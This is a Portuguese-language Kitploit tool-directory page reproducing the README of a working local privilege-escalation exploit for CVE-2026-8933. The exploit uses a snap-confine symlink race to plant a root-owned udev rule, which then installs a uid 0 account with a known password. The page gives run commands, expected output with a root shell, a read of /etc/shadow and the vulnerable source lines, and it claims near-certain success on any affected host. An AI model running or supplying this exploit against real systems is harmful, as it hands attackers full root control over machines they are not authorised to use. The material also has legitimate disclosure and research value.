Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-8933 — PoC funcional para CVE-2026-8933: uma corrida de symlink no mount-namespace do snap-confine que planta uma regra udev de propriedade do root, obtendo root local via systemd-udevd. | Kitploit
Ferramentas/GitHubGitHub/songzzzz/cve-2026-8933
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoDesenvolvimento de Payloads
GitHubsongzzzz/cve-2026-8933

CVE-2026-8933

PoC funcional para CVE-2026-8933: uma corrida de symlink no mount-namespace do snap-confine que planta uma regra udev de propriedade do root, obtendo root local via systemd-udevd.

Ver Repositório
1há 20 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-8933 — corrida de namespace de montagem do snap-confine → shell root local

PoC funcional. Escalação completa de privilégios locais reproduzida de ponta a ponta, de um usuário sem privilégios (uid 1000) até um shell root real com uid 0 — sem senha, sem interação, sem privilégios preexistentes.

Um processo sem privilégios faz o snap-confine com set-capabilities escrever uma regra udev pertencente ao root no /run/udev/rules.d/ do host; o systemd-udevd então executa o payload PROGRAM= da regra como root. O payload embutido planta uma conta uid 0 com uma senha conhecida, de modo que su - pwned (ou ./_rootshell.py) entrega um shell root.

Componentesnap-confine → sc_replicate_base_rootfs() (código-fonte do snapd 2.73 em _msc_273.c; o host testado executava snapd 2.76.3 e ainda era explorável)
ClasseEscalação de privilégios locais (corrida de symlink → criação arbitrária de arquivos pertencentes ao root em /run/udev/** → execução de código como root)
Resultadoshell uid=0(root) a partir de uma conta sem privilégios
Confiabilidade16 execuções: 7 tiveram sucesso na primeira tentativa, o restante na segunda; nunca mais de 2
Portabilidadeindependente do host: snap alvo, nome do app, escopo de cgroup, uid e caminho do snap-confine são todos detectados em tempo de execução
Root necessárionenhum (ver §9)

Conteúdo

TL;DR · 1. Início rápido · 2. Requisitos · 3. O que você deve ver · 4. O bug · 5. Vencendo as corridas · 6. Payload · 7. Conteúdo do pacote · 8. Configuração · 9. Privilégios e limpeza · 10. Impacto e correção · Solução de problemas · Referências · Aviso legal

TL;DR

cd <package dir>
bash _t18poc.sh 100% 12        # ~1–2 min, no password required

Saída esperada (resumida):

### 1. win race 1 + race 2 and plant the udev rule
[PASS] root-owned udev rule planted on attempt 1
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
content: PROGRAM="/tmp/8933-payload.sh"

### 2. make systemd-udevd execute the payload as root (FUSE mount trigger)
[PASS] udev ran the payload as: uid=0(root) gid=0(root) groups=0(root)
[PASS] uid-0 account planted: pwned:$6$...:0:0:root:/root:/bin/bash

### 3. root shell
  credentials: pwned / pwned (uid 0)
  root@host:~# id; whoami
  uid=0(root) gid=0(root) groups=0(root)
  root

O driver limpa tudo o que criou (regra, payload, conta plantada, diretórios temporários e suas montagens). KEEP=1 mantém a conta para que o shell root possa ser usado interativamente depois:

KEEP=1 bash _t18poc.sh 100% 12
./_rootshell.py                  # interactive root shell (password typed for you)
./_rootshell.py -c 'id'          # one-shot command as root
su - pwned                       # or just this, password: pwned

1. Início rápido

cd <package dir>

./t18 info                       # optional: which snap is the target?
bash _t18poc.sh 100% 12          # quota, max attempts

_t18poc.sh [quota] [attempts] compila t18 + _ftrig, detecta o alvo, executa o exploit até vencer, aciona o udevd, verifica o payload de root e faz a limpeza. 100% 12 é o valor usado para todas as medições abaixo; 0.3% 40 também funciona (quota mais apertada, mais tentativas).

Antes de tocar em qualquer coisa, o driver imprime o alvo detectado automaticamente:

target snap : firefox (regular files in its rootfs: 4)
snap-confine: /usr/lib/snapd/snap-confine
user scope  : snap.firefox.firefox.scope
snapd       : 2.76.3

2. Requisitos

  • um host systemd (gerenciador de usuário em execução — o exploit aciona cgroup.freeze no escopo do usuário),
  • snap-confine vulnerável, instalado com set-capabilities (cap_chown,cap_dac_override,cap_sys_admin,…) — não set-uid-root,
  • gcc + libfuse3 (pkg-config fuse3) para compilar t18 e _ftrig,
  • pelo menos um snap instalado cujo diretório /snap/<snap>/current contenha um arquivo regular em seu nível superior — essa entrada DT_REG é o que faz o open() vulnerável ser executado (por exemplo, firefox, core22, …). Qualquer snap assim funciona; SNAP=<name> força um específico.

./t18 info imprime snap, app, base, unit, scope, confine e o número de entradas/arquivos regulares do alvo detectado, e encerra — uma forma rápida de ver se um host é explorável com os snaps que ele tem instalados.

3. O que você deve ver

Evidência de uma tentativa bem-sucedida

[   22.478] marker seen (22.290 ms after start), drainer wrote cgroup.freeze=1
[   22.713] scope frozen (procs=2, dbg: unsharing the mount namespace (per-snap))
[   25.153] pre-bind swap: symlinks A=4 B=4 rmdir=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dA)=0 (ok)
[   35.077] window after 39 steps: mounts=2 tmpfs=1 squashfs=0
[   35.416] symlink swap: unlink(/tmp/snap.rootfs_bTvhoA)=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dB)=0 (ok)
[   35.556] symlinks in dB: 4/4 -> /run/udev/rules.d/8933-cve-1.rules
[   41.012] spinner: rule written into the root-owned file
[   42.362] phase 2: 180 slices, win=1 (udev rule written)
[   42.392] snap-confine exited (status 1)
snap-confine: cannot perform operation: mount --bind /snap/<snap>/current/default256.png \
             /tmp/snap.rootfs_bTvhoA/default256.png: Permission denied

O arquivo criado pelo snap-confine com privilégios de root, no host:

-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
PROGRAM="/tmp/8933-payload.sh"

e o script de payload para o qual ele aponta (escrito pelo uid 1000, executado pelo systemd-udevd como uid 0):

-rwxr-xr-x 1 user user /tmp/8933-payload.sh
uid=0(root) gid=0(root) groups=0(root)          <- /tmp/.pwned.root

snap-confine morre logo em seguida, na montagem bind negada pelo AppArmor da mesma entrada — o arquivo já foi criado e preenchido nesse ponto.

Shell root

$ echo pwned | su - pwned -c 'id; grep ^root: /etc/shadow'
Password: uid=0(root) gid=0(root) groups=0(root)
root:$6$...:20134:0:99999:7:::                 <- /etc/shadow is root-only
$ ./_rootshell.py                              # pty + auto-typed password
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root

Confiabilidade

16 execuções de _t18poc.sh ao longo da pesquisa e da compilação genérica final terminaram todas em LPE (7 delas na primeira tentativa, o restante na segunda); nenhuma execução precisou de mais de 2 tentativas. Cada execução limpa o que criou (regra, payload, conta plantada, diretórios temporários e suas montagens).

4. O bug

snapd 2.73, sc_replicate_base_rootfs() (código-fonte em _msc_273.c):

 511     if (mkdtemp(scratch_dir) == NULL)                    // /tmp/snap.rootfs_XXXXXX
 523     sc_do_mount(scratch_dir, scratch_dir, NULL, MS_BIND, NULL);
 530     sc_do_mount("none", scratch_dir, NULL, MS_UNBINDABLE, NULL);
 535         sc_do_mount("none", scratch_dir, "tmpfs", 0, "uid=0,gid=0");
 536         sc_replicate_base_rootfs(scratch_dir, config->rootfs_dir, config->mounts);
...
 362     if (chown(scratch_dir, 0, 0) < 0)  die(...);
...
 418             int fd = open(full_path, O_CREAT | O_TRUNC, 0644);   // no O_NOFOLLOW
 422             if (fchown(fd, 0, 0) < 0) die(...);
 428             sc_do_mount(src_path, full_path, NULL, MS_BIND, NULL);

snap-confine é instalado com set-capabilities (cap_chown, cap_dac_override, cap_sys_admin, …), não set-uid-root, portanto mantém o euid não privilegiado enquanto carrega capacidades quase de root. Consequências:

Baixar ferramenta